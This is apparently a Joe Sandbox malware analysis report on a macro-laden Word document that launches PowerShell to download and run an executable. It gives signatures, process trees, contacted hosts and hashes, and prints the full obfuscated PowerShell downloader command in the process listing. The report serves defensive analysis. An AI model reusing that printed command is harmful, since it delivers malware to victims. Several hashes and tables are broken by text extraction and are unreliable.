ID: Sample Name: doc Cookbook: defaultwindowsofficecookbook.jbs Time: 20:19:13 Date: 23/06/2018 Version:

Transcription

1 ID: Sample Name: doc Cookbook: defaultwindowsofficecookbook.jbs Time: 20:19:13 Date: 23/06/2018 Version:

2 Table of Contents Analysis Report Overview General Information Detection Confidence Classification Signature Overview AV Detection: Software Vulnerabilities: Networking: Remote Access Functionality: Stealing of Sensitive Information: Persistence and Installation Behavior: Data Obfuscation: Spreading: System Summary: HIPS / PFW / Operating System Protection Evasion: Anti Debugging: Malware Analysis System Evasion: Hooking and other Techniques for Hiding and Protection: Language, Device and Operating System Detection: Behavior Graph Simulations Behavior and APIs Antivirus Detection Initial Sample Dropped Files Unpacked PE Files Domains URLs Yara Overview Initial Sample PCAP (Network Traffic) Dropped Files Memory Dumps Unpacked PEs Joe Sandbox View / Context IPs Domains ASN Dropped Files Screenshots Startup Created / dropped Files Contacted Domains/Contacted IPs Contacted Domains Contacted URLs Contacted IPs Public Static File Info General File Icon Static OLE Info Table of Contents Copyright Joe Security LLC 2018 Page 2 of

3 General OLE File " doc" Indicators Summary Document Summary Streams with VBA VBA File Name: HsjUihYzWKIjQc.cls, Stream Size: 1113 General VBA Code Keywords VBA Code VBA File Name: TikSIVYX.bas, Stream Size: 3540 General VBA Code Keywords VBA Code VBA File Name: jyrbjuccmf.bas, Stream Size: General VBA Code Keywords VBA Code Streams Stream Path: \x1compobj, File Type: data, Stream Size: 114 General Stream Path: \x5documentsummaryinformation, File Type: data, Stream Size: 344 General Stream Path: \x5summaryinformation, File Type: data, Stream Size: 440 General Stream Path: 1Table, File Type: ARC archive data, crunched, Stream Size: 7766 General Stream Path: Data, File Type: data, Stream Size: General Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 494 General Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 107 General Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: General Stream Path: Macros/VBA/ SRP_0, File Type: data, Stream Size: 1288 General Stream Path: Macros/VBA/ SRP_1, File Type: data, Stream Size: 110 General Stream Path: Macros/VBA/ SRP_2, File Type: data, Stream Size: 220 General Stream Path: Macros/VBA/ SRP_3, File Type: data, Stream Size: 66 General Stream Path: Macros/VBA/dir, File Type: amd 29k coff noprebar executable, Stream Size: 638 General Stream Path: WordDocument, File Type: data, Stream Size: 4096 General Network Behavior Network Port Distribution TCP Packets UDP Packets DNS Queries DNS Answers HTTP Request Dependency Graph HTTP Packets Code Manipulations Statistics Behavior System Behavior Analysis Process: WINWORD.EXE PID: 3420 Parent PID: 2984 General File Activities File Created Registry Activities Key Created Analysis Process: powershell.exe PID: 3488 Parent PID: 3420 General Analysis Process: exe PID: 3596 Parent PID: 3488 General Analysis Process: exe PID: 3840 Parent PID: 3596 General Analysis Process: defragshared.exe PID: 2592 Parent PID: Copyright Joe Security LLC 2018 Page 3 of 165

4 General Analysis Process: defragshared.exe PID: 900 Parent PID: 2592 General Disassembly Code Analysis Copyright Joe Security LLC 2018 Page 4 of 165

5 Analysis Report Overview General Information Joe Sandbox Version: Analysis ID: Start time: 20:19:13 Joe Sandbox Product: CloudBasic Start date: Overall analysis duration: Hypervisor based Inspection enabled: Report type: Sample file name: Cookbook file name: 0h 7m 59s false light doc defaultwindowsofficecookbook.jbs Analysis system description: Windows 7 SP1 (with Office 2010 SP2, IE 11, FF 54, Chrome 60, Acrobat Reader DC 17, Flash 26, Java ) Number of analysed new started processes analysed: 8 Number of new started drivers analysed: 0 Number of existing processes analysed: 0 Number of existing drivers analysed: 0 Number of injected processes analysed: 0 Technologies Analysis stop reason: Detection: Classification: HCA enabled EGA enabled HDC enabled GSI enabled (VBA) Timeout MAL mal100.evad.expl.windoc@10/7@1/2 HCA Information: Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0 EGA Information: Successful, ratio: 100% HDC Information: Successful, ratio: 21.6% (good quality ratio 17.4%) Quality average: 68.6% Quality standard deviation: 39.1% Cookbook Comments: Adjust boot time Correcting counters for adjusted boot time Found application associated with file extension:.doc Found Word or Excel or PowerPoint document Simulate clicks Number of clicks 915 Scroll down Close Viewer Warnings: Show All Exclude process from analysis (whitelisted): conhost.exe, dllhost.exe Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Skipping Hybrid Code Analysis (implementation is based on Java,.Net, VB or Delphi, or parses a document) for: WINWORD.EXE, powershell.exe Detection Strategy Score Range Reporting Detection Copyright Joe Security LLC 2018 Page 5 of 165

6 Strategy Score Range Reporting Detection Threshold Report FP / FN Confidence Strategy Score Range Further Analysis Required? Confidence Threshold false Classification Copyright Joe Security LLC 2018 Page 6 of 165

7 Ransomware Miner Spreading malicious malicious malicious Evader Phishing suspicious suspicious suspicious clean clean clean Exploiter Banker Spyware Trojan / Bot Adware Signature Overview Detection AV Vulnerabilities Software Networking Access Functionality Remote of Sensitive Information Stealing and Installation Behavior Persistence Obfuscation Data Spreading Summary System / PFW / Operating System Protection Evasion HIPS Debugging Anti Analysis System Evasion Malware and other Techniques for Hiding and Protection Hooking Language, Device and Operating System Detection Click to jump to signature section Copyright Joe Security LLC 2018 Page 7 of 165

8 AV Detection: Antivirus detection for submitted file Multi AV Scanner detection for domain / URL Multi AV Scanner detection for dropped file Multi AV Scanner detection for submitted file Antivirus detection for unpacked file Software Vulnerabilities: Document exploit detected (process start blacklist hit) Potential document exploit detected (performs DNS queries) Potential document exploit detected (performs HTTP gets) Potential document exploit detected (unknown TCP traffic) Networking: HTTP GET or POST without a user agent IP address seen in connection with other malware Internet Provider seen in connection with other malware Uses a known web browser user agent for HTTP communication Downloads files Downloads files from webservers via HTTP Performs DNS lookups Posts data to webserver Urls found in memory or binary data Remote Access Functionality: Contains functionality to open a port and listen for incoming connection (possibly a backdoor) Stealing of Sensitive Information: Searches for user specific document files Persistence and Installation Behavior: Drops executables to the windows directory (C:\Windows) and starts them Drops PE files Drops PE files to the windows directory (C:\Windows) Data Obfuscation: Document contains an embedded VBA with many randomly named variables Document contains an embedded VBA with many string operations indicating source code obfuscation Uses code obfuscation techniques (call, push, ret) Spreading: Enumerates the file system System Summary: Document contains an embedded VBA macro which executes code when the document is opened / closed Document contains an embedded VBA macro which may execute processes Copyright Joe Security LLC 2018 Page 8 of 165

9 Powershell connects to network Powershell drops PE file Very long command line found Creates mutexes Document contains embedded VBA macros Reads the hosts file Classification label Creates files inside the user directory Creates temporary files Document contains an OLE Word Document stream indicating a Microsoft Word file Document contains summary information with irregular field values Parts of this applications are using the.net runtime (Probably coded in C#) Reads ini files Reads software policies Sample is known by Antivirus Spawns processes Uses an in-process (OLE) Automation server Checks whether correct version of.net is installed Found graphical window changes (likely an installer) Uses Microsoft Silverlight Checks if Microsoft Office is installed Uses new MSVCR Dlls Binary contains paths to debug symbols Document has a 'category' value indicative for goodware Document has a 'subject' value indicative for goodware HIPS / PFW / Operating System Protection Evasion: Contains functionality to simulate keystroke presses Very long cmdline option found, this is very uncommon (may be encrypted or packed) Anti Debugging: Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation)) Enables debug privileges Creates guard pages, often used to prevent reverse engineering and debugging Malware Analysis System Evasion: Checks the free space of harddrives Contains long sleeps (>= 3 min) Enumerates the file system May sleep (evasive loops) to hinder dynamic analysis Queries a list of all running processes Hooking and other Techniques for Hiding and Protection: System process connects to network (likely due to code injection or exploit) Disables application error messsages (SetErrorMode) Language, Device and Operating System Detection: Queries the installation date of Windows Queries the volume information (name, serial number etc) of a device Contains functionality to query local / system time Copyright Joe Security LLC 2018 Page 9 of 165

10 Queries the cryptographic machine GUID Behavior Graph Behavior Graph ID: Legend: Hide Legend Sample: doc Process Startdate: 23/06/2018 Architecture: WINDOWS Score: 100 Signature Created File Multi AV Scanner detection for domain / URL Antivirus detection for submitted file Multi AV Scanner detection for submitted file 6 other signatures started started DNS/IP Info Is Dropped WINWORD.EXE defragshared.exe Is Windows Process Number of created Registry Values C:\Users\user\Desktop\~$ doc, data dropped started started Number of created Files Visual Basic Very long command line found Document exploit detected (process start blacklist hit) Drops executables to the windows directory (C:\Windows) and starts them Delphi Java powershell.exe defragshared.exe.net C# or VB.NET C, C++ or other language Is malicious apiperjuangan.com , 49164, 49165, , 49163, 80 dropped ATT-INTERNET4-ATTServicesIncUS HOSTINGER-ASLT United States Germany C:\Users\user\AppData\Local\Temp\ exe, PE32 started System process connects to network (likely due to code injection or exploit) Powershell connects to network Powershell drops PE file exe Multi AV Scanner detection for dropped file started exe Simulations Behavior and APIs Time Type Description 20:19:45 API Interceptor 3x Sleep call for process: WINWORD.EXE modified 20:19:48 API Interceptor 1x Sleep call for process: powershell.exe modified 20:20:12 API Interceptor 2x Sleep call for process: exe modified 20:20:29 API Interceptor 2x Sleep call for process: defragshared.exe modified Antivirus Detection Initial Sample Source Detection Scanner Label Link doc 53% virustotal Browse doc 11% metadefender Browse doc 100% Avira VBA/Dldr.Agent.rdodf Dropped Files Copyright Joe Security LLC 2018 Page 10 of 165

11 Source Detection Scanner Label Link C:\Users\user\AppData\Local\Temp\ exe 13% virustotal Browse C:\Users\user\AppData\Local\Temp\ exe 0% metadefender Browse Unpacked PE Files Source Detection Scanner Label Link 2.1.powershell.exe.4fb unpack 100% Avira TR/Crypt.XPACK.Gen Domains Source Detection Scanner Label Link apiperjuangan.com 7% virustotal Browse 7% virustotal Browse URLs Source Detection Scanner Label Link 1% virustotal Browse 12% virustotal Browse Yara Overview Initial Sample No yara matches PCAP (Network Traffic) No yara matches Dropped Files No yara matches Memory Dumps No yara matches Unpacked PEs No yara matches Joe Sandbox View / Context IPs Match Associated Sample Name / URL SHA 256 Detection Link Context file.doc c9254e205cf0c8c42bcdd3264b7 malicious Browse / 3f1500a15a7ee27e af2f2 47f3c07e2 INV doc ACCOUNT doc Emotet exe cfc8c6886ed300ce90ee773814fb malicious Browse / 279d691ab30eecf401587d168e1 bfbd3d1f d896150ee fbe malicious Browse / cec76e3eeb8482a7c5 b7d156c98c b4d56464e00d9e523e945 malicious Browse / 0db4e0dfc3ee0eea9e856e701a4 645b58f04f Copyright Joe Security LLC 2018 Page 11 of 165

12 Match Associated Sample Name / URL SHA 256 Detection Link Context file.doc INV doc ACCOUNT doc c9254e205cf0c8c42bcdd3264b7 malicious Browse / 3f1500a15a7ee27e af2f2 47f3c07e2 cfc8c6886ed300ce90ee773814fb malicious Browse / 279d691ab30eecf401587d168e1 bfbd3d1f d896150ee fbe malicious Browse / cec76e3eeb8482a7c5 b7d156c98c Domains No context ASN Match Associated Sample Name / URL SHA 256 Detection Link Context ATT-INTERNET4-ATTServicesIncUS 57messag.exe 84a411bdc5acd21afce77fd2b67c malicious Browse e35ec b4df65 27bfb29d4 11youtubeer@youtube. exe 3transcrip.exe 9DOCUMEN.exe 21gjj.exe.exe 4181rBFqtShk.exe 19ATTACHMENT.EXE 51youtube.exe 1text.exe 65Fil.exe 25youtube.exe 1xgh@taixin.exe kovter.exe 8b9eaeff a583 a0b5611c1d3f_976b003 82cbb63c03e8fcd6677e 4f973_Kovter.exe 3john@youtube.exe 37readm.exe 17yeH6QNgQKp.exe 51attachment.exe 62abd00bb58add644e8d6a34ad0 malicious Browse c56f0784c211170bf430e f6ed0c8 a995bae77a bbacb71 malicious Browse ccc287c4c efa68b6469f 7cb254dd1 b2666d818484ae14f0e cf malicious Browse f20172bcb6d4a379fdc3d c6566a 1f6a51b1f854974b68c3b1f913f7e malicious Browse d6d1dc52ae4555e4d53144dcab a36ff8e2 e0a6c50fb4cf34a5674f785f627ac malicious Browse b8334f02d511a3daae3aa8a5562 db913b83 efb3d6e969fb168d710c84d5a8e9 malicious Browse cd7ab659d11af63cb48253c8c4 920b09568 a0d4639d3b556652da9ce808d0d malicious Browse f6834e820dd448c8b269215ad79 e19f12a934 c996b01f20e70e8149c87caae87 malicious Browse a1d0081f24998a5e6bfc85c9 1708fdf09 fa4fed405863e145bbb7d300a7df malicious Browse f401bf d240b398e3 115f192d 1d16d df11398e81e88a malicious Browse ef619a70e05b4beb2d31c061eb c c19038ecdafba958d35c5411a malicious Browse b76acfceeb e9034ec4f1 378ac04d3 4b054f2f07b15627d5b864ceda3d malicious Browse aaf0b5e35e143361ba02e1c7 7ef27559d 0d0a07d32295b94fd665ac39d47 malicious Browse a00381c6b06c2b4a6aeffa0 344ac956a 6a6b401888ec7f1f7b07cd malicious Browse f18e4b5afd456162e b825 5ea02e4a eb10b cb6c2ca7315ba37 malicious Browse d493739b5fdd7bfa3fd2d40e4e 33e12229b 4f05ac588cb9631db031f4e4b67a malicious Browse c8e755e4a8b7b7b50cc9b2619e0 57d448bb4 5f050a73c2a21bbaefb28b malicious Browse c36ac8c29e edec3 05dcb9553 c c04f7d0f2b74ef8c18 malicious Browse f058651cd373ceb3506bc8f97d 1968c259 Copyright Joe Security LLC 2018 Page 12 of 165

13 Match Associated Sample Name / URL SHA 256 Detection Link Context 5messag.exe 67b88d3356a936798bb3095b8da malicious Browse af95dc7f4044e7646d62a464f04 9ae8d3531 HOSTINGER-ASLT 53Payment.exe 753baf9f3312ab82986b62a35395 malicious Browse b8c0ac03ba6476bcf6a9f571a 21a41892 Emotet.doc 3PO# exe 57Shipping details P df.exe RRR 1989.html SHIPPING D OCUMENTS ( EXPORT).html 777SqyBFAEcE.exe TRANSFER_SLIP- CONFIRMATION_-_C opy.doc L3sEK5fFCj 000webhostapp.com/ 11qqAtwZjQcJ.exe com/ 51Delivery_Notificat ion_ doc.js webhostapp.com /app/facebook.com/?l ang=en&key =pcbxddotm LhwR8e0Ipa QFqlpERRGi YsovFhSNh2 t9wponxdmx 1Y8iQVGmtJ IHXt9usDv1bbgcphw9IS HrpHjSbIwT BpPSV2r2HL xv8h6b1ia2gaoqzfsi4z H1KtpB9gH9 MWZDmtdfvX XtWP8M2l4F f0yq0v93ob uovq18gmii mlh4lccx6i OX3u6xCDKr eoa2ahrhepo The Global Petroleum Data Management For um Agenda.pdf 9b0b9dd4e1e9e1baebd83b323c1 malicious Browse aa032a9e8914e3435c94e61e47 d80d5cd938 c6ec8728f7e909af51fa9a364a2f9 malicious Browse f61b5ec613dc37b18c95df2177f3 da9910b 336e7d54e877780a8e9e malicious Browse d6bf71e3f38d97098bcb4fa54 0b55c00e8 4da97ec4ef71d7fb0f11b570f36c9 malicious Browse a f7fd3d777e4c7a39b e2 5ac5085de7c f6c malicious Browse c272d22c7022a069bf22 c ba 02400dcc633b5541cf9ce6aef93c malicious Browse c45464dcac2faf432cf4fe8eab892 fe2af09 7e5a3025b46d8b7e454e81ceb77 malicious Browse e52cba2c344bf45341a902b2fa eba7fcf ee23a4b0f78c03d8699fade4 malicious Browse e d0636f fbbd1a4 malicious Browse b8e1c a820070b56c075 malicious Browse a310aa7abd26203ed866d63 ad malicious Browse a962615d6c73d3e5178baa139ad malicious Browse e571c3e52b05074f7e73f9edd1b7 c866f565c malicious Browse efc0c6f276adbb5350d69b474d45 malicious Browse e01484d76a7a4e6c631491a4edd 7886adc2c Pendencia_de_Infracc d4e19fccd0bc7f760a9d1d3174c8 malicious Browse iones.ref pdf.js 34045f5f92fe98eeb2d2da441b3e bad01c21 tt-copy.pdf.exe 22,300.html 000webhostapp.com/ 85Payment.exe c711281b79ad c6da malicious Browse ad30ae15f5f33f c a54704cf7 7716b88e4dcbbba3fee4d51201fc malicious Browse f8cba79f760a1d8b14b c malicious Browse b b8db62ecbba49dfd834 malicious Browse ca5e34aad21cb7a7d6202ef71 1b57e82d52 Copyright Joe Security LLC 2018 Page 13 of 165

14 Dropped Files No context Screenshots Startup Copyright Joe Security LLC 2018 Page 14 of 165

15 System is w7 WINWORD.EXE (PID: 3420 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /n 'C:\Users\user\Desktop\ doc MD5: 5D798FF0BE2A8970D ACFD9D) powershell.exe (PID: 3488 cmdline: PowersHell ' $( set-item 'variable:ofs' '') '+ [StRING]( ( 53,83, 71,87, 127,86, 100, 49, 44, 49,127, 116,102,60,126, 115,123,116,114, 101,49,99,112,127, 117, 126, 124,42,53, 126, 93,71, 72, 101,65,49, 44, 49,127,116, 102,60, 126, 115, 123,116,114,101,49, 66, 104, 98,101,116,124, 63, 95,116, 101,63, 70, 116,115,82,125, 120, 116,127, 101, 42, 53,122,120, 120, 95,122,49,44,49, 54,121,101,101, 97,43, 62, 62, 102, 102,102,63, 112,97,120, 97,116, 99,123, 100,112, 127,118,112,127, 63,114, 126, 124, 62, 93, 99,119, 90,62, 81,121,101, 101, 97,43,62, 62,102, 102, 102,63,118, 99, 112, 114, 112,63, 114, 126,124, 63, 127, 97,62,107, 82, 101, 126, 119,62,81,121,101,101,97, 43, 62,62,102,102,102, 63,112,127, 98,102,116,99, 101, 121,116, 115,116, 112,114,126,127,63,114, 126,124,62,72, 72,82,68, 95, 75,33,62, 81,121, 101,101,97, 43,62, 62, 102,102, 102,63,120, 124,97,116,99,120,112, 98,122, 104,118, 112,99, 117, 116, 127,98,63, 98, 120, 101, 116,62, 66,100, 38,87, 75, 62,81, 121,101, 101, 97,43, 62, 62, 102,102, 102, 63, 122, 112, 101,116, 105, 98,63,114,126,124, 62, 99, 126,118,71,62,54, 63,66, 97,125, 120,101, 57,54,81,54, 56,42, 53, 85,84,82,115,65,87, 49, 44,49, 53, 83,71,87, 127,86, 100, 63,127, 116,105, 101, 57, 32, 61, 49,41,36,37, 39, 38, 36, 56, 42, 53, 98, 115,67, 95, 107,68,49,44, 49,53,116,127,103,43, 101, 116,124,97, 49, 58,49, 54,77,54,49,58, 49, 53, 85, 84, 82, 115, 65, 87, 49, 58, 49, 54, 63, 116,105,116,54, 42,119, 126, 99,116,112, 114,121,57, 53, 88, 86, 70, 86,88,49,120,127, 49,53, 122, 120,120,95, 122, 56,106,101,99, 104,106, 53,126,93,71,72, 101,65, 63,85, 126,102,127, 125,126,112, 117, 87, 120,125, 116,57, 53,88, 86, 70,86, 88,63,69, 126,66, 101, 99, 120,127,118,57,56,61,49, 53,98, 115, 67, 95, 107, 68, 56,42, 66,101, 112,99, 101, 60, 65,99, 126, 114, 116, 98,98, 49,53,98, 115,67, 95, 107, 68, 42, 115,99,116,112, 122, 42, 108,114, 112,101,114, 121, 106,102, 99, 120, 101, 116, 60,121,126, 98, 101, 49, 53, 78,63, 84, 105, 114, 116,97, 101,120, 126,127,63,92, 116,98,98, 112, 118,116, 42,108, 108 ) foreach {[char]($_ -bxor 0x11 ) } )+' $( set-item 'VariaBle:OFs' ' ' ) '. ( $PShomE[21]+$psHOME[30]+'X') MD5: 92F44E405DB16AC55D97E3BFE3B132FA) exe (PID: 3596 cmdline: 'C:\Users\HERBBL~1\AppData\Local\Temp\ exe' MD5: 82124F46E7C949987D57D03844AFAD55) cleanup exe (PID: 3840 cmdline: C:\Users\HERBBL~1\AppData\Local\Temp\ exe MD5: 82124F46E7C949987D57D03844AFAD55) defragshared.exe (PID: 2592 cmdline: C:\Windows\system32\defragshared.exe MD5: 82124F46E7C949987D57D03844AFAD55) defragshared.exe (PID: 900 cmdline: C:\Windows\system32\defragshared.exe MD5: 82124F46E7C949987D57D03844AFAD55) Created / dropped Files C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{32F169FB-A1B2-4E79-989D-B43B54D587C1}.tmp Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File Type: FoxPro FPT, blocks size 0, next free block index , 1st used item "\375" Size (bytes): 1024 Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: Reputation: false 5D4D94EE7E06BBB0AF B23A DBB111419C704F116EFA8E72471DD83E86E C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D D997CC5FD1 95F83AE84CAFCCED5EAF C34D5F9710E5CA2D F2FBECCB25F9CF50BBFC272BD75E1A66A 18B7783F09E1C1454AFDA519624BC2BB2F28BA4 false high, very likely benign file C:\Users\user\AppData\Local\Temp\ exe Process: File Type: Size (bytes): Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: Antivirus: Reputation: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PE32 executable (GUI) Intel 80386, for MS Windows false 82124F46E7C949987D57D03844AFAD55 58C94A AE C0600D5D9B58 726E20E97D58FCCED8FFDFFAD0B337CE3BBA1B9B2D0D90FA14B8397CAB9B F12180F95242B80EB2E5F76A202FC0D177FEFB4E5FB62DE21E31AC2E154A7209F93667EF9CAAC729A 99C2A0E467CE10B19A8610AE6CD95E4DBCD32 true low Antivirus: virustotal, Detection: 13%, Browse Antivirus: metadefender, Detection: 0%, Browse C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\ LNK Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=sun Sep :59: , mtime=sun Sep 24 13:59: , atime=sat Jun 23 18:19: , length=240128, window=hide Size (bytes): 2046 Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: Reputation: false A12F B988BBA8D5A717E CA3E684C44A81D64A C7862B636FDA B E426C21485C0F ABFDFD97C461DB D9EC3 23A40635EACF E258DCC928883DAB EAC B7B592ECCC802B F DFF80ADDA0D36106F096D744D5 false low Copyright Joe Security LLC 2018 Page 15 of 165

16 C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Process: File Type: Size (bytes): 56 C:\Program Files\Microsoft Office\Office14\WINWORD.EXE ASCII text, with CRLF line terminators Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: Reputation: false 38DF509AA221010F6C79AE93052F3189 E2F7F75A2CC FC9D262E0F4147ABCE801 9A1A4B659088B59B9AC9EA5B13D788F66796DC ECE2C4F1EA59E2B359C 8AF948E0467E6B44802B94F223915AAD80210B937C34D7F8B7E7723F669CD1CDC566BE0370FAF306C77197E F56BE17D1F77CC5D837CEFF0AB35C262ADA false low C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm Process: File Type: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE data Size (bytes): 162 Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: Reputation: false FF291ADF1F74826EE3AA31EA36ADEC1C 9E647BCB57789C91D08C9B02D73ECD048239B5C5 08B022FE12FDA6C82FEEA4C0B2736E6FF757EA90DFF28CE43E7D44CD5FB4AE36 A4CCFF54304DBB44144FFF7EF0027A3DE88B66CBEE D30BC8ED4E8A4D E1F5B76F86BAADB18E F F900B671F7951B5FCC39BABB319C5A2 false high, very likely benign file C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FIUUJIBRNJ06C9I8B9HS.temp Process: File Type: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe data Size (bytes): 8016 Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: Reputation: false F6D4D224B1FF1CFC1DD7BDCA11B5BF63 28B6B883DB1C76E9D779C2C66DDF191C010E CE1B091A9B556A7E69A0B754F45816BF954DD32CCED73CCDD5D8E35B DF17808A61CC49899A9FA95D28F0CB520A9F27588BC9FB1A2F31A9A2F FF7E E558A5B3FEFB414 E8A8FD0C074CC5E15A2FD64B26BA620F9EC36 false low C:\Users\user\Desktop\~$ doc Process: File Type: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE data Size (bytes): 162 Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: false FF291ADF1F74826EE3AA31EA36ADEC1C 9E647BCB57789C91D08C9B02D73ECD048239B5C5 08B022FE12FDA6C82FEEA4C0B2736E6FF757EA90DFF28CE43E7D44CD5FB4AE36 A4CCFF54304DBB44144FFF7EF0027A3DE88B66CBEE D30BC8ED4E8A4D E1F5B76F86BAADB18E F F900B671F7951B5FCC39BABB319C5A2 true Contacted Domains/Contacted IPs Contacted Domains Name IP Active Malicious Antivirus Detection Reputation apiperjuangan.com true true 7%, virustotal, Browse low unknown unknown true 7%, virustotal, Browse low Contacted URLs Copyright Joe Security LLC 2018 Page 16 of 165

17 Name Process C:\Windows\System32\defragshared.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Contacted IPs No. of IPs < 25% 25% < No. of IPs < 50% 50% < No. of IPs < 75% 75% < No. of IPs Public IP Country Flag ASN ASN Name Malicious United States 7018 ATT-INTERNET4- ATTServicesIncUS false Germany HOSTINGER-ASLT true Static File Info General File type: 0 Entropy (8bit): TrID: Microsoft Word document (32009/1) 52.89% Microsoft Word document (old ver.) (19008/1) 31.41% Generic OLE2 / Multistream Compound File (8008/1) 13.23% Java Script embedded in Visual Basic Script (1500/0) 2.48% File name: doc File size: MD5: SHA1: SHA256: SHA512: d8baac52854b d52e38b5f1f ce148adef52de5e3a9b13a4bc32a1775d d0dcf0c212407b0d5c5f091fc192b36a8dd65fc1ba c8440ee294d2 d1d3d399c341040d731a ceb85ab44b8a4666d0f 3853cb9315ec4eed166c10e1d61dbeb23bce308253e953 deec411dcfac7ab9d4c025cf3c51eda249f File Content Preview:...>... i File Icon Copyright Joe Security LLC 2018 Page 17 of 165

18 Static OLE Info General Document Type: OLE Number of OLE Files: 1 OLE File " doc" Indicators Has Summary Info: True Application Name: Microsoft Office Word Encrypted Document: False Contains Word Document Stream: True Contains Workbook/Book Stream: False Contains PowerPoint Document Stream: False Contains Visio Document Stream: False Contains ObjectPool Stream: False Flash Objects Count: 0 Contains VBA Macros: True Summary Code Page: 1252 Title: 22069Ax94241 Subject: 13583Ax7426 Author: Ugotibutalyxah-PC Keywords: Comments: Template: Normal.dotm Last Saved By: Revion Number: 1 Total Edit Time: 0 Create Time: :31:00 Last Saved Time: :31:00 Number of Pages: 1 Number of Words: 0 Number of Characters: 1 Creating Application: Microsoft Office Word Security: 0 Document Summary Document Code Page: 1252 Category: 81177Ax97320 Number of Lines: 1 Number of Paragraphs: 1 Thumbnail Scaling Desired: False Company: 90125Ax89153 Contains Dirty Links: False Shared Document: False Changed Hyperlinks: False Application Version: Streams with VBA VBA File Name: HsjUihYzWKIjQc.cls, Stream Size: 1113 General Stream Path: VBA File Name: Stream Size: 1113 Macros/VBA/HsjUihYzWKIjQc HsjUihYzWKIjQc.cls Data ASCII: D... R W <..... Q. U.. t # L. 2.. L. O K.. O.. Y. N.. &. d ^ h s ; 7 A C x ^ h s ; 7 A C Q. U.. t # L. 2.. L. O K M E Copyright Joe Security LLC 2018 Page 18 of 165

19 General Data Raw: e ea a fb 1d ff ff a b6 00 ff ff ff ff ff ff ff ff 3c 00 ff ff fe b c ac c 12 4f 4b 10 e8 4f f d2 4e 8b b8 26 8f 64 d2 1e cb VBA Code Keywords Keyword False VB_Exposed Attribute VB_Creatable VB_Name VB_PredeclaredId VB_GlobalNameSpace VB_Base VB_Customizable VB_TemplateDerived "HsjUihYzWKIjQc" VBA Code VBA File Name: TikSIVYX.bas, Stream Size: 3540 General Stream Path: VBA File Name: Stream Size: 3540 Macros/VBA/TikSIVYX TikSIVYX.bas Data ASCII: W.. E x M E Data Raw: f fc d ff ff ff ff fb ff ff ff b6 00 ff ff ff ff ff ff ff ff ff ff ff ff VBA Code Keywords Keyword (iidpn kioissc OmUNvRnQ URjTuFt imwdi obzlmwy "owers" Resume AhZDIAuSp JtrzkWTjWi CInt(RYDkU CInt(izRriM rsqdzijiajj CInt(rwaRT (CTPSv CInt(HMltE PzXut (DPQDR ifsekjzwf WuXfHCqw ihpzgljdhfi WAzwCP CInt(vIHwhj lpxoil kiykumncoho (UbSABz Copyright Joe Security LLC 2018 Page 19 of 165

20 Keyword SqdlCAsmWO wqvzh ISowq (vlzruzzqxk) YLaFiS dlwre CjzwHtvPZbV, RvtAlLXspJP bvnztvt SjpBz ixwoqvha WIrpr KawHuHM RZUUf) (zpnaio vlzruzzqxk UjOboKGDNFZ CwjcQUj YRdNKQl GMnWApHOfjo (YbOHw Chr(GjAtadFVn akynzku "TikSIVYX" PlaujEPJIh ZIJifCL CInt(RJbCIi (SYCri vlzruzzqxk() CInt(IKBVOi (zmzmu Inulqz AutoOpen() ohhfov (jwlnz hpuctv iwmxojkt ztvqyirdeu slaua htahh Error wjcnyf VSYjSukdj Attribute jkzzvw wzeinxxyvjb chtijdapn nioywwifbql kiykumncoho(ahzdiausp) luxso WKLTQFYEWPb VB_Name VaJvH sqxyicqd GnfjXa Function CInt(TEJsfB CInt(ZdSGY driban Shell(WNmhuh GMKOw rstetjs cvgmkgiyitf ifkrgqjwlke Copyright Joe Security LLC 2018 Page 20 of 165

21 Keyword vhsiadvt chuhb HJiOLju VBA Code VBA File Name: jyrbjuccmf.bas, Stream Size: General Stream Path: VBA File Name: Macros/VBA/jYRBjUcCMF jyrbjuccmf.bas Stream Size: Data ASCII: W x M E Data Raw: f c 0c d ff ff ff ff a3 0c fb be d ff ff b6 00 ff ff ff ff ff ff ff ff ff ff ff ff VBA Code Keywords Keyword wimhyc bukdjqlg fyhqj RmTthY CInt(ppVdGL WIrpr tvduhj hbjlt CInt(PQbtOm zgjil qwrzta CInt(rLjTN CwjcQUj() QDlLclCSGN CInt(oWjDH (zivti JuFnnEmiWKE (SicrZ CInt(AqVpl JiCRP SAFnauTKTE nioywwifbql() SjpBz() cvvabyii CInt(qiRfV (TSCDEP (FIDoa CInt(zvtSA (oevbev CInt(YAXiHH TpdAm mhcwf FPqrDodwHV "abl" primkazon CInt(aklQf (IcKBwO (ozlroq oiati CInt(JlndAf CInt(hzkFY jkzzvw Copyright Joe Security LLC 2018 Page 21 of 165

